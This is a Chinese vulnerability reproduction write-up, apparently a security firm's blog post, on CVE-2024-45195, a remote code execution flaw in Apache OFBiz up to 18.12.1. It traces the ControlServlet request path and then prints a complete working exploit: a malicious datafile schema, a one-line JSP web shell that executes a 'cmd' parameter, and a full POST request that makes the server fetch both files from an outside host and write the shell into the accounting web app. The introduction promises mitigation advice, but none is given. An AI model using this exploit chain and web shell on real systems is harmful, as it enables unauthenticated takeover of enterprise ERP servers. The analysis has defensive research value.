在数字化时代,企业的核心业务系统如同一座座数字化城堡,而开源软件则是这些城堡的基石。然而,当基石出现裂缝时,整个城堡的安全都将受到严重威胁。近期,Apache OFBiz——一款广泛应用于企业资源规划(ERP)的开源框架,被曝出一个评分高达9.8的远程代码执行漏洞(CVE-2024-45195)。本文将深入剖析该漏洞的细节,并提供紧急应对措施,帮助大家在危机中守护自己的数字资产。
-
CVE-2024-45195:严重 -
CVSS分数:9.8
-
Apache OFBiz≤18.12.1
ofbiz是以tomcat作为http容器,在frameworkwebtoolswebappwebtoolsWEB-INFweb.xml中配置了servlet。
org.apache.ofbiz.webapp.control.ControlServlet会处理所有以/control/开头的URL请求,主要处理逻辑函数是doGet,该函数开始都是在对请求的参数进行设置,知道第185行开始,定义了处理器RequestHandler。
到212行调用了handler的doRequest方法:
跟进doRequest,273-275行获取了请求的路径并进行切分:
然后,在下图所示地方下断点后,表达式求值运行一下代码找出所有符合条件的端点。
BufferedWriter writer = new BufferedWriter(new FileWriter("output.txt"));
try {
for(int i=0;i<requestMapMap.values().size();i++){
RequestMap requestMap= (RequestMap) ((LinkedList) requestMapMap.values().toArray()[i]).toArray()[0];
if (requestMap.securityAuth==false &&
requestMap.securityCert== false &&
(requestMap.requestResponseMap.get("success").type.equals("view") ||
(requestMap.requestResponseMap.get("success").type.equals("request") && requestMap.requestResponseMap.get("success").value.equals("/view"))||
(requestMap.requestResponseMap.get("success").type.equals("request") && requestMap.requestResponseMap.get("success").value.equals("main")))) {
String key = ((RequestMap) ((LinkedList) requestMapMap.values().toArray()[i]).toArray()[0]).uri;
writer.write(String.valueOf(i)+":"+ String.valueOf(key));
writer.newLine();
}
}
} finally {
writer.close();
}
25:myCertificates
38:chain
59:main
65:view
77:showDateTime
99:TestService
147:editPortalPageColumnWidth
179:login
180:checkLogin
181:getUiLabels
184:forgotPassword
185:showHelpPublic
188:ListSetCompanies
189:ListLocales
195:views
199:viewBlocked
205:ajaxCheckLogin206:LookupTimeDuration
其中,login,checkLogin,ajaxCheckLogin虽然能执行到renderView但后续会再检查导致无法绕过。之后在执行renderView之前还会检查/control/之后的第二个端点。
跟进writeDataFile:
会根据modelField.name读数据,modelField.name可由DEFINITION_NAME控制,可以把木马放在以modelField.name为键名的hashmap中,比如令DEFINITION_NAME=jspshell,dataFile的值由DataFile.readFile的返回值确定。
跟进readFile:
ModelDataFileReader会读取xml文件:
然后读取fileUrl的内容,fileUrl由DATAFILE_LOCATION控制。
最终复现如下:
-
rceschema.xml
<data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<data-file name="jspshell" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">
<record name="jspshell" limit="many">
<field name="jspshell" type="String" length="60" position="0"></field>
</record>
</data-file>
</data-files>
-
rcereport.txt
<% Runtime.getRuntime().exec(request.getParameter("cmd"));%>
POST /webtools/control/forgotPassword/viewdatafile HTTP/1.1
Host: 127.0.0.1:8443
Cookie: OFBiz.Visitor=10002
Sec-Ch-Ua: "-Not.A/Brand";v="8", "Chromium";v="102"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:JSESSIONID=4D720CE66E5228B4E3EFEDBA1A8D07C1.jvm1;OFBiz.Visitor=10002
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 246
DATAFILE_LOCATION=http://127.0.0.1:8000/rcereport.txt&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://127.0.0.1:8000/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=jspshell
最后,访问https://127.0.0.1:8443/accounting/index.jsp?cmd=calc。
原文始发于微信公众号(山石网科安全技术研究院):Apache ERP开源框架OFBiz高危RCE 漏洞复现分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论